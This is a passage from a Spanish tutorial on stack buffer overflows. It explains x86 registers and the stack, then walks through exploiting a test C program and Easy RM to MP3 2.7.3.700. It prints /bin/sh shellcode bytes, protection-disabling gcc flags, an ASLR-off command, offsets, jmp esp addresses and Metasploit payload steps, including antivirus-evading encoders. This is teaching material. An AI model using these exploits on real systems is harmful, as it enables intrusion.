o EBP: Puntero a la base de la pila.
o ESP: Puntero a la cima de la pila.
El puntero de instrucción (EIP) apuntará a la dirección de la próxima instrucción que

se deberá ejecutar.
Windows utiliza un esquema de memoria plana, es decir, todas las direcciones de

memoria se pueden referenciar de manera directa por la CPU (con un solo registro).
También se pueden usar los segmentos de memoria para referenciar posiciones de
memoria relativos a ellos.

30
Los flags servirán para guardar valores especiales del flujo del programa como
overflow, valor negativo o interrupciones activadas.
Figura 27. Banco de registros de un x86 (32 bits).
Tanto los registros de la pila (EBP y ESP), como el puntero de instrucción serán claves a
la hora de hacer un desbordamiento de buffer.
Las instrucciones que lee la CPU están codificadas en lenguaje máquina (ceros y unos)
pero para facilitar al programador su trabajo, se creó un lenguaje a base de
mnemónicos, el lenguaje ensamblador.
Las instrucciones más comunes que se deben conocer son:

MOV destino, origen: mueve el contenido de origen, que puede ser un inmediato,
una posición de memoria o un registro, al destino, que puede ser un registro o una
posición de memoria.
ADD destino, fuente: suma el contenido de fuente y destino y lo guarda en
destino.
PUSH registro: guarda el contenido del registro indicado en la pila,
implícitamente aumenta el valor del registro ESP.
POP registro: guarda el primer elemento de la pila en el registro indicado,
implícitamente reduce el valor del registro ESP.
JMP destino: salta incondicionalmente a la dirección destino elegida para seguir
ejecutando el flujo del programa. Modifica EIP.

31
Jcc: salta si la condición (cc) se cumple. Esta condición está relacionada con los
flags vistos antes, puede saltar si cero, si mayor igual, etc. También modifica EIP.
CALL subrutina: llama a la subrutina que esté indicada en la dirección de la
etiqueta subrutina. De manera implícita guarda EIP en la pila (PUSH EIP).
RET: retoma la ejecución en el punto antes de llamar a la subrutina. De manera
implícita saca EIP de la pila (POP EIP).
NOP: no hace nada, pierde un ciclo de reloj. Aunque no lo parezca, esta instrucción
es una de las más importantes a la hora de realizar los desbordamientos de buffer.
Estas instrucciones se guardan en la memoria principal en formato hexadecimal, pero

se pueden codificar en dos formatos diferentes: Big-endian y Little-endian. Big-
endian comienza guardando el MSB (bit más significativo), mientras que Little-endian
comienza guardando el LSB (bit menos significativo).
Figura 28. Big-endian y Little-endian.
La mayoría de los sistemas operativos, entre ellos Windows, utilizan el formato Little-
endian. Si, por ejemplo, tenemos la dirección de memoria 0x0804B22A, la
guardaríamos en memoria principal de la forma “\x2A\xB2\x04\x08”.
Cada proceso tiene una cantidad de zonas o segmentos de memoria principal

(memoria RAM) para su ejecución. Su estructura general suele ser: segmento de
código, segmento de datos, área del heap y segmento de la pila; existen más zonas,
como librerías compartidas y también alguna de las zonas mencionadas están
subdivididas, como la zona de los datos, dividida en datos inicializados y no
inicializados, pero para nuestro caso nos es indiferente.
Estas zonas tendrán diferentes propiedades, la más importante será los permisos que
tenga la zona (escritura, lectura o ambas).

32
Todas las zonas se colocarán sucesivamente en memoria siguiendo este esquema:
El segmento de código es una zona de solo lectura, el procesador irá obteniendo

de ella las distintas instrucciones para la ejecución normal del proceso.
El segmento de datos es una zona de lectura-

Direcciones bajas
escritura, en ella se almacenarán las variables globales
inicializadas y no inicializadas (segmento BSS). Esta
Texto (código)
zona es estática, no se pueden almacenar más datos en
ella una vez comience la ejecución, su tamaño se decide Datos
siempre en tiempo de compilación. inicializados
El área del heap es una zona que almacenará datos de

Datos no
inicializados
forma dinámica, al llamar a funciones como malloc o (BSS)
new. Esta zona crecerá hacia abajo, puede tener tamaño
Área del heap
0 e ir aumentando a lo largo de la ejecución de un
proceso. Es una zona de lectura y escritura.
La pila es una zona con estructura LIFO (Last in first

out), último en entrar primero en salir. En ella se
Pila
almacenan las variables locales de los procesos y se
utiliza para conmutar entre rutinas y subrutinas de un
Direcciones altas
mismo proceso guardando el valor de los registros, los
argumentos de las funciones o el valor de la instrucción de regreso antes de una
llamada a la subrutina. La pila crece en sentido contrario al heap, es decir, comienza
en las posiciones altas y va decreciendo. Su tamaño, al igual que el heap puede variar
en tiempo de ejecución. Es una zona de lectura y escritura. Será esta zona en la que
nos centraremos para realizar nuestros desbordamientos de buffer.
El funcionamiento de la pila
La pila funciona a través de dos registros ESP y EBP, mediante los cuales puede
cumplir todas sus funciones.

33
ESP apunta a la parte superior de la pila, es decir, contiene la dirección de la parte

más nueva de la pila ya que crece en sentido contrario. Se puede modificar directa o
indirectamente:
o SUB esp, 04h: resta 4 bytes a la pila. Restar significa añadir bytes a la pila, por
lo que hemos visto de su crecimiento inverso. Este método de añadir bytes
directamente se usa para reservar espacio de variables locales dentro de las
subrutinas.
o ADD esp, 04h: disminuye el tamaño de la pila en 4 bytes.
o PUSH reg: añade en la posición a la que apunta ESP, en la cima de la pila, el

valor de un registro, aumentando el valor de ESP en tantos bytes como ocupe ese
registro.
o POP reg: saca de la cima de la pila, apuntada por ESP, el valor que haya y lo
guarda en el registro. Disminuye el valor de ESP en tantos bytes como ocupe el
registro.
El otro registro que maneja la pila será EBP. Este registro apuntará a la base o parte
inferior de la pila. Su uso principal será la diferenciación entre las rutinas y
subrutinas dentro de un proceso, tomando valores relativos a cada una.
Cada vez que se llame a un nuevo procedimiento se hará: PUSH EBP, para poder
recuperarlo una vez acabe el procedimiento; luego se moverá el nuevo valor de ESP a
EBP, convirtiéndose EBP en la base de referencia para las variables locales de la
forma [EBP – 32].

34
Un ejemplo del funcionamiento de la pila es:
PUSH #1 //Primero se guardan los argumentos

PUSH #2 //en la pila, puede hacerse en orden
PUSH #3 //descendente o ascendente
int suma(int a, int b, int c) CALL Suma //Llamamos a la subrutina

{ //PUSH EIP de forma implícita
int d;
char buff[100]; PUSH EBP //Guardamos EBP en la pila y lo
d = a + b + c; MOV EBP, ESP //modificamos para separar las
return d; //variables de las rutinas
}
SUB ESP, #100 //Aumentamos la pila para la
int main(void) //variable buffer
{ //Realizamos la suma
int x; MOV AX, BP-4
x = suma(1,2,3); ADD AX, BP-3
return x; ADD AX, BP-2
}
MOV ESP, EBP //Eliminamos las variables locales
POP EBP //Devolvemos EBP al valor inicial
RET //Devolvemos el control a la rutina principal

//POP EIP de forma implícita

35
Figura 29. Funcionamiento de la pila.

36
Funcionamiento del desbordamiento
Una vez visto el funcionamiento de la pila ya podemos entender el funcionamiento de

un buffer overflow.
¿Qué ocurrirá si quisiéramos copiar 200 A’s en el buffer del ejemplo anterior cuyo
tamaño es 100?
Figuras 30. Funcionamiento del buffer overflow.
Como se puede ver, podríamos ser capaces de sobrescribir EIP. Al hacer esto podemos
introducir cualquier valor en EIP, que será la dirección de la siguiente instrucción a
ejecutar. Por lo que podremos ir redirigiendo el flujo del programa hacia donde
nosotros queramos.
A continuación, se van a explicar dos pruebas de concepto (Proof of Concept) del

funcionamiento de los buffer overflow paso a paso, así como las herramientas
necesarias. La primera será un pequeño ejecutable en Linux y la segunda será una
aplicación real de Windows.
1. PoC 1
Tenemos el siguiente programa en C.
#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[])

37
{
int A;
char B[100];
if (argc < 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
A = argc;
strcpy(B,argv[1]);
printf("A=%d\nB=%s\n",A,B);
return 0;
}
Como se puede ver, el programa puede dar lugar a un buffer overflow, pues declara la
variable B con 100 bytes y utiliza la función strcpy() para copiar en esta variable el
primer argumento introducido por el usuario.
La función strcpy() copiará en la variable todo hasta encontrar el símbolo de fin de

cadena ‘\0’. Es una función insegura, que no realiza comprobación del espacio
disponible antes de hacer la copia.
En nuestra máquina Kali crearemos el archivo buffer.c con el programa anterior y lo

compilaremos con:
gcc -fno-stack-protector -z execstack buffer.c -o buffer
En algunas distribuciones de Linux, por defecto, el compilador gcc crea algunos

mecanismos de protección en la pila para que no funcionen los buffer overflow ni se
pueda ejecutar código en ella, por ello usaremos las opciones -fno-stack-protector
(poder sobrescribir la pila) y -z execstack (poder ejecutar código en la pila) para evitar
problemas.
También será necesario utilizar una orden en la terminal para desactivar otro
mecanismo de seguridad llamado ASLR que genera direcciones aleatorias en la pila y
en el heap para evitar de nuevo este tipo de vulnerabilidades.
echo 0 > /proc/sys/kernel/randomize_va_space
Una vez acabado, para restablecer su valor haremos:

38
Estas y otras medidas de seguridad se explicarán al final de este tema.
Figura 31. Compilamos y probamos el funcionamiento del programa.
Ahora utilizaremos lenguajes de script como Perl, Python o Ruby para generar una
entrada de texto suficientemente grande como para que sobrescriba otras zonas. Para
ello deberemos introducir más de 99 caracteres (ya que el carácter ‘\0’ de fin de cadena
lo añade siempre al final).
Usaremos el acento invertido para pasar como argumentos de la función la salida del
script, en cualquier lenguaje de los mencionados, que se encuentra a la derecha de la ‘P’
en el teclado.
Figura 32. Estadística de vulnerabilidades reportadas en 2011.
Se puede ver, que cuando sobrepasamos los 99 caracteres, la variable A tiene un

comportamiento extraño, pues debería valer 2. Si seguimos aumentando el número de
caracteres que introducimos obtenemos “Segmentation fault”. Este mensaje de
«Segmentation fault» significa que hemos sobrescrito el registro EIP y ahora apunta a
una dirección no permitida.
Para saber exactamente qué hemos sobrescrito en EIP, utilizaremos GDB, el depurador
que viene por defecto en Linux.

39
Figura 33. Usamos GDB para depurar.
Al volver a ejecutar el código anterior obtenemos el valor de EIP: 0x61616161. Esa

dirección es debido al valor de la letra ‘a’ en hexadecimal: 0x61, es decir, hemos
sobrescrito en EIP «aaaa».
EIP no se encuentra siempre en la misma posición, dependiendo de cada programa

variará, por ello, ahora averiguaremos el valor de esa posición con respecto al texto que
habíamos introducido.
Utilizaremos 2 herramientas que vienen con Metasploit. Para acceder a ellas

deberemos ir a /opt/metasploit/apps/pro/msf3/tools.
Pattern_create: creará un patrón de texto para que introduzcamos en el buffer a

desbordar. Le pasaremos como argumento el tamaño del texto que queremos. Para
este caso se ha usado 120, pues ya hemos visto que con este valor ocurre el
desbordamiento de buffer.
Figura 34. Uso de pattern_create.
Pattern_offset: nos dirá el desplazamiento respecto al texto introducido en el que

se encuentra EIP. Le daremos como argumento el valor de EIP obtenido con el
depurador y el tamaño del texto.

40
Figura 35. Uso de pattern_offset.
En este caso encontramos que si introducimos 116 caracteres, los siguientes 4 serán
EIP.
Para comprobarlo introduciremos la letra ‘a’ 116 veces y después la letra b (0x62 en
hexadecimal) 4 veces.
Figura 36. Hemos puesto «bbbb» en EIP.
Podemos ver que ha funcionado, así que, ya sabemos donde debemos colocar la
dirección a la que queremos saltar tras realizar el desbordamiento.
El siguiente paso será crear una shellcode para cuando explotemos la vulnerabilidad,
poder obtener una shell con los privilegios de la aplicación (en nuestro caso, al ser Kali,
tendrá siempre privilegios de root).

41
La shellcode que utilizaremos será un pequeño programa de C que devuelve una shell
pero pasado a lenguaje ensamblador:
\x31 \xc0 xor eax, eax

\x50 push eax
#include <stdio.h>
//PUSH /bin
int main() \x68\x2f\x2f\x73\x68 push 0x68732f2f
{ //PUSH //sh
char *scode[2]; \x68\x2f\x62\x69\x6e push 0x6e69622f
scode[0] = "/bin/sh";
scode[1] = 0; \x89\xe3 mov ebx, esp
execve (scode[0], scode, 0); \x50 push eax
} \x53 push ebx
\x89\xe1 mov ecx, esp
\xb0\x0b mov al, 0xb
\xcd\x80 int 0x80
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\xb0\x0b\xcd\x80"
Generaremos un pequeño script para pasarlo como argumento al programa.
Figura 37. Script en Ruby con el exploit.
Este script sobrescribirá el buffer con la shellcode (las instrucciones para ejecutar una
shell), el resto de a’s para completar los 116 bytes y EIP. Ahora tenemos que averiguar a
qué dirección debemos saltar para que se comience a ejecutar nuestra shell. De nuevo
usaremos GDB.
Desensamblaremos la función main del ejecutable con el comando disass main y

buscaremos la llamada a la función strcpy. Después pondremos un punto de ruptura
en la ejecución del programa, para poder analizar la pila una vez hecho el
desbordamiento.

42
Figura 38. Desensamblado de la función main.
Ejecutaremos el programa dándole como argumento el script creado y haremos un

volcado de la pila (x/40x $esp).
Posición:
0xbffff408
Primera posición
de la fila, es decir,
0xbffff400.
Figura 39. Volcado de la pila.
Podemos ver la primera instrucción de nuestra shellcode remarcada, así que esa será la
posición que tendremos que introducir en EIP. Modificaremos entonces nuestro script
exploit.rb y colocaremos la dirección en la variable eip recordando ponerla en formato
Little-endian: “\x08\xf4\xff\xbf”.
Finalmente volvemos a ejecutar en GDB el programa con el script y obtenemos una

shell.
Figura 40. Ejecutamos el exploit en GDB.

43
Pero ahora nos encontraremos con un problema. Si queremos ejecutar el programa

fuera de GDB no obtendremos la shell, debido a que GDB añade algunos bytes a la pila
(entre 32 y 64) y la dirección a la que saltamos ya no es la de nuestra shell.
Para solucionarlo, utilizaremos un sled de NOPs, que consistirá en llenar el buffer de la

instrucción NOP antes de la shellcode, cuando realicemos el salto a una dirección,
habrá más posibilidades de que caigamos en una instrucción NOP y se deslice el flujo
del programa hasta llegar a la shellcode.
Modificaremos nuestro script de nuevo añadiendo 40 NOP y hará falta reducir el

número de letras «a» de relleno. También cambiaremos el valor de eip por lo que
hemos dicho antes de GDB y le sumaremos entre 32 y 64 bytes, en este caso 40.
Figura 41. Exploit final de la PoC 1.
Obteniendo finalmente:
Figura 42. Obtenemos la shell fuera de GDB.
Nota 1. A la hora de desensamblar un ejecutable hay dos tipos de lenguaje

ensamblador, el de AT&T que utiliza UNIX por defecto y el de Intel que utiliza
Windows por defecto. Cuando usemos la orden «disass función» GDB por defecto nos
dará la notación de AT&T, pero las instrucciones que hemos estado viendo eran del
lenguaje Intel, para que nos transforme el código a la notación que queremos, usaremos
la orden en GDB de:
(gdb) set disassembly-flavor intel

44
Nota 2. Las 2 herramientas incluidas en Metasploit que hemos utilizado,

pattern_create y pattern_offset, dependen de ciertas librerías de Ruby, que pueden
generar diversos problemas a la hora de utilizarlos, obteniendo mensajes como este:
Figura 43. Error con pattern_create
Estos problemas surgen porque hace falta ir instalando todas las actualizaciones tanto
de Metasploit como de cada una de las librerías de Ruby.
Para solucionarlo sin necesidad de realizar todas las actualizaciones, que a veces
pueden llegar a ser muy pesadas, vamos a modificar ambos archivos para que no realice
la comprobación de que todas las librerías estén actualizadas para poder funcionar.
Figura 44. Texto comentado para solucionarlo.
Y ya podremos ejecutarlos sin problemas.
2. PoC 2
La segunda prueba de concepto será una aplicación de Windows llamada Easy RM to

MP3, versión 2.7.3.700.
Puedes descargar la aplicación desde la siguiente página:

https://web.archive.org/web/20120819072336/http://www.rm-to-
mp3.net/download.html
Usamos la página https://archive.org/ para obtener una copia de la página antigua, ya

que la página original ya no está disponible. Podremos descargar la aplicación sin
problemas. Para realizar esta prueba de concepto vamos a usar nuestra máquina Kali
Linux y otra máquina con Windows XP que será la que ejecute la aplicación.
En primer lugar deberíamos ver el funcionamiento de la aplicación, comprobar que es
vulnerable a esta vulnerabilidad y testear hasta encontrar el punto por el que se pueda

45
realizar el desbordamiento de buffer, pero se podría tardar mucho y es una tarea muy
tediosa. Así que ya sabemos de antemano que esta aplicación es vulnerable y que tiene
un desbordamiento de buffer cuando intentamos cargar un archivo .m3u muy grande.
Figura 45. Aplicación vulnerable.
Al pulsar el botón de load nos permitirá incluir un archivo con una extensión específica.
Entre las permitidas se encuentra la m3u, a la que sabemos que es vulnerable. Pero
ahora… ¿cómo generamos un archivo .m3u para que lo cargue y hacer el
desbordamiento de buffer?
La respuesta será nuestra máquina Kali y no hará falta ninguna herramienta especial,
solamente crearemos un ejecutable en algún lenguaje de script de los ya mencionados
(Perl, Ruby, Python…) que genere un archivo con la extensión .m3u. En esta prueba de
concepto se usará de nuevo Ruby.
Para esta primera fase, estos archivos solo tendrán basura en su contenido, como una
letra repetida, y gran tamaño, ya que queremos determinar en qué punto aproximado
se produce el desbordamiento y luego solo generar un pequeño número de bytes con
pattern_create para averiguar el punto exacto.
Se ha usado una carpeta compartida entre las máquinas virtuales para enviar los
archivos entre ellos, aunque también se puede usar un USB, la nube…

46
Figura 46. Exploit inicial en Ruby. Crea un m3u lleno de a’s.
Lo ejecutaremos de la forma: ruby exploit.rb y moveremos el archivo creado a la

máquina XP.
Cargaremos el archivo creado en la aplicación (usando el botón cargar o arrastrándolo

directamente sobre la aplicación). Al hacerlo con este primer archivo obtendremos un
mensaje que nos dirá que la ha habido un fallo a la hora de cargarlo, pero la aplicación
seguirá funcionando con normalidad.
Figura 47. Fallo al cargar, pero la aplicación sigue funcionando.
Como no hemos conseguido nuestro objetivo aun, seguiremos aumentando el número

de caracteres basura en nuestro archivo; aumentaremos de 10.000 en 10.000, hasta
que a los 30.000 caracteres la aplicación se detendrá, obteniendo un error así:
Figura 48. En este caso sí que se detiene la aplicación.

47
Ya sabemos que el desbordamiento de buffer se genera con más de 20.000 caracteres y

con, como mínimo, 30.000, pero queremos saber la posición exacta y para ello
utilizaremos un depurador de Windows. En este caso, al contrario que en Linux, no
viene uno predeterminado ya instalado, así que nos descargaremos uno. Los más
recomendados son Immunity Debugger, WinDbg y OllyDbg.
El último de ellos, OllyDbg, es el más sencillo de utilizar, con una interfaz muy simple,
posee funcionalidades y plugins específicos para la explotación de vulnerabilidades,
como los otros dos.
Puedes descargar la aplicación desde la siguiente página:

http://www.ollydbg.de/
WinDbg es el depurador para Windows hecho por Microsoft, también posee múltiples
paquetes y plugins. Será útil descargarlo junto con el paquete de símbolos del sistema
de Windows para realizar las funciones de búsqueda de instrucciones o bytes en el
código.
Puedes descargar WinDbg desde la siguiente dirección:

http://www.windowstipspage.com/windbg-download/
Y el paquete de símbolos (lo añadiremos con Ctrl + S) desde:

https://msdn.microsoft.com/en-us/windows/hardware/gg463028
Immunity Debugger es similar en interfaz a OllyDbg pero cuenta con una pequeña
línea de comandos para la ejecución de plugins basados en Python. Uno de estos
plugins, llamado mona, será el que usemos más adelante para esta prueba de concepto.
Puedes descargarlo desde la siguiente dirección:

http://debugger.immunityinc.com/
Puedes descargarte el plugin mona desde la siguiente dirección:

https://github.com/corelan/mona
Puedes acceder a un manual del uso del plugin desde la siguiente dirección:
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

48
Este plugin tiene múltiples funcionalidades, entre las que están: obtener el opcode de
una instrucción, buscar palabras, instrucciones o bytes dentro del código ensamblador,
comparar archivos… Para añadirlo a Immunity deberemos copiarlo en la carpeta de
PyCommands.
Figura 49. Interfaz de Immunity Debugger.
Una vez tenemos el depurador instalado abrimos la aplicación a depurar y el depurador

y pulsamos en File > Attach para enlazarlo y empezar a depurar. Todos los depuradores
pausarán la ejecución del programa al realizar este proceso de enlazado inicial, por lo
que deberemos pulsar el botón de run.
Ahora modificaremos nuestro script para crear un nuevo archivo .m3u. Esta vez
queremos reducir el rango de 10.000 caracteres para averiguar posteriormente la
posición de EIP. Para ello crearemos un patrón del siguiente modo:
22.000 letras ‘a’.
Cada 2.000 cambiaremos de letra hasta las 30.000.
Según la letra que obtengamos tendremos un intervalo diferente.
Figura 50. Archivo exploit.rb para buscar EIP.

49
Ejecutaremos el archivo en la aplicación depurada y miraremos los datos del registro

EIP.
Figura 51. EIP ha sido sobrescrito por la letra d.
Encontramos que EIP tiene la letra ‘d’ (64 en hexadecimal) por lo que está entre las
posiciones 26.000 y 28.000.
Ahora será el turno de usar las herramientas de Metasploit vistas en la prueba de

concepto anterior, pattern_create y pattern_offset. Recordamos que las herramientas
se encuentran en /opt/metasploit/apps/pro/msf3/tools.
También se pueden usar antes en lugar de ir reduciendo poco a poco, pero en esta
prueba de concepto se prefiere que se entienda el concepto en lugar de realizarlo todo
de golpe. Generaremos el patrón con:
./pattern_create.rb 2000
Lo sustituiremos por las letras ‘d’ del script y lo ejecutaremos de nuevo en la aplicación
mientras la depuramos. En este caso obtenemos EIP: 63413263.
Finalmente obtenemos la posición de EIP con pattern_offset:
./pattern_offset 63413263 2000
Figura 52. Usamos pattern_offset.

50
Tendremos que introducir 26.067 caracteres basura en el buffer antes que EIP.
Llegados a este punto vamos a recordar la PoC 1. En ella introducíamos un sled de

NOPs y la shellcode en el espacio del buffer antes que EIP y, posteriormente,
realizábamos un salto a una dirección de memoria en la que esperábamos que
estuviera. Pero ahora nos encontramos con dos grandes problemas: las direcciones con
bytes nulos y la portabilidad.
A la hora de ejecutar el exploit en otra máquina, probablemente no funcione ya que las

direcciones de memoria habrán cambiado y un programa puede estar en cualquier
parte.
¿Por qué no podemos usar bytes nulos? En los bytes nulos se basa el desbordamiento
de buffer, funciones como strcpy copian todo el contenido de un lugar a otro hasta que
se encuentre un byte nulo; si introducimos nosotros uno de estos bytes a la hora de
llenar el buffer parará en ese punto, aunque haya más texto. Un ejemplo sería
0x00341a2b, vemos que el último byte (Little-endian) es 0x00.
Por ello vamos a utilizar una técnica para que nuestro exploit no dependa de la
dirección específica a la que vaya a saltar, sino que sea siempre la misma, evitando el
uso de bytes nulos. Esta técnica será saltar a ESP.
Si recordamos la parte en la que se explicó la pila, cuando recuperamos EIP es porque

el puntero ESP la saca de la pila y aumenta (recordamos que en la pila si aumenta ESP
es porque disminuye su tamaño), apuntando a una posición posterior a EIP.

51
Después del buffer

overflow
Igualamos ESP con EBP
Sacamos EBP de la pila
Sacamos EIP de la pila,

el proceso saltaría ahora
Vamos a ver este ejemplo de una forma práctica en la aplicación y además obtendremos
la posición exacta de ESP ya que a veces no se encuentra justo después que EIP.
Modificaremos nuestro script para introducir más caracteres después de EIP:
Figuras 53 y 54. Comprobamos si hay bytes extra entre EIP y ESP.

52
Lo ejecutamos de nuevo y vemos que hay una línea entre EIP y ESP, marcada en azul,
por lo que hay que añadir 4 bytes extra después de EIP
Nuestro objetivo ahora será introducir nuestro sled de NOPs y Shellcode a partir de
aquí. Pero no saltaremos directamente a la posición de ESP, si no que buscaremos la
instrucción jmp esp dentro de las propias librerías de Windows y de la aplicación, para
que hagan el salto por nosotros, las conocidas DLL. Estas librerías son estáticas y serán
portables de una máquina a otra; podremos hacer la aplicación portable para el mismo
sistema operativo (con las librerías del sistema) o para cualquiera (con las librerías de
la aplicación).
En este caso queremos usar las de la aplicación. Para ello tenemos que encontrar en
estas librerías la instrucción jmp esp, por lo que usaremos el Immunity Debugger y el
plugin mona. Primero iremos a la ventana de Log pulsando la ‘l’ en la barra de
herramientas, en esta ventana nos aparecerán los módulos que han necesitado la
aplicación y la información de la ejecución de los plugins.
Para ejecutar nuestro plugin escribiremos: !mona
Figura 55. Interfaz del plugin mona.
Tenemos dos formas de buscar una instrucción o conjunto de instrucciones en todas las
librerías:
La primera será obteniendo el código de ensamblado de una instrucción y realizar la

búsqueda sobre este código.
o !mona asm -s “jmp esp”, nos devolverá el opcode de la instrucción.

53
o !mona find -s “\xff\xe4\xc3”, buscará el patrón en hexadecimal en todos los

módulos. En este ejemplo se está buscando jmp esp (ff e4) seguido de retn (c3).
La segunda forma será directamente realizar la búsqueda sobre la instrucción sin

obtener el opcode.
o !mona find –type instr -s “jmp esp” # “retn”, buscará las instrucciones que
sigan el patrón indicado.
Ambas opciones dan el mismo resultado creando un archivo de texto llamado find.txt
en la carpeta del Immunity Debugger en Archivos de programa. En esta PoC se usa la
segunda opción junto con el modificador ‘-n’ que elimina los módulos que tengan bytes
nulos.
!mona find –type instr -s “jmp esp” -
El archivo find.txt tiene dos partes, la primera nos indicará todos los módulos en los
que se ha encontrado una coincidencia (nos dirá si el módulo es del sistema operativo o
no, si tiene algún tipo de protección…) y la segunda parte irá mostrando dirección por
dirección todas las que haya encontrado.
Figura 56. Fichero de texto con el resultado de la búsqueda.
En nuestro caso hemos elegido la librería MSRMCcodec02.DLL de la aplicación,

cogiendo la dirección 0x01deb22a para el salto, aunque cualquiera debería ser válida
(si no tiene bytes nulos). El tipo de página es indiferente ya que se han realizado
pruebas con todas ellas y el exploit funcionaba correctamente.

54
Muchas veces no encontraremos la instrucción de salto en las librerías de la aplicación,

por lo que usaremos las del sistema que también funcionarán.
Vamos a comprobar que el salto funciona y para ello usaremos la instrucción break
“\xcc” que detiene el flujo de la ejecución. Modificaremos nuestro script:
Figura 57. Exploit con un break.
Y al ejecutar el archivo obtendremos que lo hemos conseguido detener.
Figura 58. Conseguimos detener la ejecución con el break.
Ahora que ya tenemos la dirección de EIP, la dirección de salto y la posición donde

colocar el payload, tendremos que generar este.

55
Para esta segunda prueba de concepto usaremos un payload diferente, no ejecutaremos

una shell remota sino una calculadora en la máquina víctima. Da igual el tipo de
payload que usemos, ya que una vez seamos capaces de ejecutar uno podremos
ejecutar cualquiera (siempre que sean para el mismo SO). Para generar este payload
usaremos de nuevo Metasploit
Figura 59. Generamos el payload con Metasploit.
Seleccionaremos el payload con el comando use y le daremos las opciones requeridas.

Para generar el payload usaremos el comando generate. Las opciones más típicas de
este comando son 3:
-b ‘byte/s’ -> Para quitar uno o más bytes que no queramos en nuestro payload.
-e codificador -> Para el elegir el codificador para saltarnos antivirus.
-t lenguaje -> Para que nos dé el payload adaptado a un tipo de lenguaje de
programación.
Para ver el resto de opciones de generate usaremos generate –h.
En este caso, para la calculadora usamos el payload windows/exec y ponemos en el

atributo de cmd, calc, y lo generaremos sin bytes nulos. Finalmente crearemos el script
final introduciéndole el payload generado.

56
Figura 60. Script final PoC 2.
Y al ejecutarlo, (ya no es necesario usar el depurador) obtendremos la calculadora.
Figura 61. Obtenemos la calculadora.
La calculadora será un proceso independiente de la aplicación vulnerable y podremos

cerrar la aplicación sin que la calculadora lo haga.
Tipos de saltos
Hemos conseguido crear un exploit en un entorno real, pero ha sido bastante ideal:
había espacio en la pila para nuestro payload, pudimos utilizar ESP para encontrar el
payload generado, encontramos la instrucción de salto que queríamos en las librerías
de la aplicación para hacer nuestro exploit más portable… Normalmente no se tiene

57
una situación ideal así que tendremos que utilizar diversas formas para ejecutar
nuestros payloads.
Jmp/Call [Reg]. Se puede llamar o saltar a un registro que contenga la dirección

de memoria que alberga nuestro payload, por ejemplo en la PoC 2 usábamos el jmp
esp.
o Buscamos jmp/call [Reg] dentro de las DLL de la aplicación.
o Se sobrescribe EIP con la dirección de jmp/call de la DLL.
o El registro al que apuntamos debe contener los primeros bytes de nuestro
payload o un sled de NOPs.
En el caso de la PoC 2:
Buscamos la instrucción call esp con mona y encontramos una dirección en una
DLL de la aplicación: 0x01c53f0f.
Figura 62. Archivo txt con la búsqueda de call esp.
Modificamos nuestro exploit cambiando la dirección de eip por la nueva.
Figura 63. Cambiamos EIP.
Al ejecutar obtendremos de nuevo nuestra calculadora, pues en esp se encontrarán

los NOPs que deslizarán hasta nuestro payload.

58
Pop Ret. En el caso anterior dependíamos de un registro que apuntara a nuestra

shell. Pero a veces no hay ningún registro que contenga la dirección de memoria que
buscamos, por ejemplo porque están desplazados unos cuantos bytes por la
ejecución normal del programa.
o Si la dirección que buscamos está en la pila podemos sobrescribir EIP con una
dirección de una DLL que haga POP para descartar tantos valores como sea
necesario y RET para cargar el último valor de la pila en EIP.
o Otro caso podría ser cuando sabemos que el código se encuentra a un cierto
desplazamiento de ESP. Por ejemplo ESP+8. En este caso si ponemos un jmp esp
en esa posición y realizamos dos POP y finalmente un RET a EIP, ejecutaremos
nuestro payload.
Para buscar este tipo de instrucciones usaremos los comandos según el número de
posiciones que queramos:
o !mona find -type instr -s “pop” # “ret”.
o !mona find -type instr -s “pop” # “pop” # “ret”.
Podríamos simular un caso de este tipo con:
Figura 64. Simulamos la situación descrita debajo.
Normalmente tenemos lo siguiente:
[aaaaaaa…][0x01DEB22A][cccc][NOPNOPNOPNOP…][Payload]
Basura EIP con Offset ESP con A continuación de los

dirección antes de el sled NOPs está el payload
de jmp esp esp de
NOPs

59
Al simularlo obtendríamos:
[aaaaaaa…][0x0x01AB6A10][cccc][ddddeeee][0x01DEB22A][NOPNOPNOPNOP…][Payload]
EIP con ESP con 8 Tras saltar los 8 Cuando hagamos

dirección de bytes que bytes haremos el ret, ESP se
pop pop ret saltaremos ret a la dirección colocará al inicio
con los 2 pop de jmp esp del sled de NOPs
Push Ret. Si la dirección de nuestro payload se encuentra en uno de los registros

pero no encontramos una instrucción Jmp/Call [Reg] específica en alguno de los
DLL, podemos utilizar la siguiente alternativa:
o Push [Reg]: metemos la dirección del registro en cuestión en la pila.
o RET: sacará la dirección que acabamos de meter en la cima de la pila, metiéndola
en EIP y realizará el salto.
Para que funcione hemos de buscar la secuencia Push [Reg] + Ret en alguna DLL. Si
por ejemplo, el payload estuviera apuntado directamente por ESP pero no
encontráramos jmp esp ni call esp.
o Usando mona, buscaremos las dos instrucciones consecutivas en las DLL con
“!mona find -type instr -s “push esp” # “ret -n”.
o También podríamos buscar los opcodes de cada instrucción y realizar la búsqueda
sobre ellas. En este caso “!mona find -s "\x54\xc3" -n”.
Jmp [Reg] + Offset. Si un registro contiene la dirección de memoria que apunta

unos lugares antes (offset positivo) o después (offset negativo) a la posición de
memoria que contiene nuestro payload. Si tuviéramos el caso de que ESP apuntara
a 8 posiciones antes que el comienzo de una shellcode buscaríamos la instrucción
jmp [esp + 8] en las DLL.
Blind Return. Esta técnica se usa cuando no podemos utilizar EIP para apuntar
directamente a un registro (porque no se puedan utilizar instrucciones JMP o CALL
y no quede más remedio que escribir la dirección en la pila) y tenemos control sobre
ESP (al menos los 4 siguientes bytes).
Consiste en:
o Sobrescribir EIP con la dirección a una instrucción RET de una DLL.
o Colocar la dirección del payload en los 4 bytes posteriores a ESP.

60
o Al ejecutar el RET se hace un POP implícito a los últimos 4 bytes de la pila, que
será la dirección que hemos introducido.
o Se saltará a nuestro payload.
El buffer tendrá la siguiente forma:
[Basura de a’s][EIP con dirección de RET][Dirección de payload][Payload]
Buffers pequeños
En los escenarios anteriores tras desbordar el buffer y sobrescribir EIP, no teníamos

límites de espacio para introducir nuestro payload, pero ¿qué ocurriría si solo
tuviéramos 54 bytes de espacio tras EIP?
Podríamos utilizar todo el espacio que hemos usado para desbordar el buffer (las letras
«a» basura que introdujimos) para albergar nuestro payload. Para que esta técnica
funcione necesitamos encontrar las direcciones de memoria que albergan estos bytes y
una manera de referenciarlos.
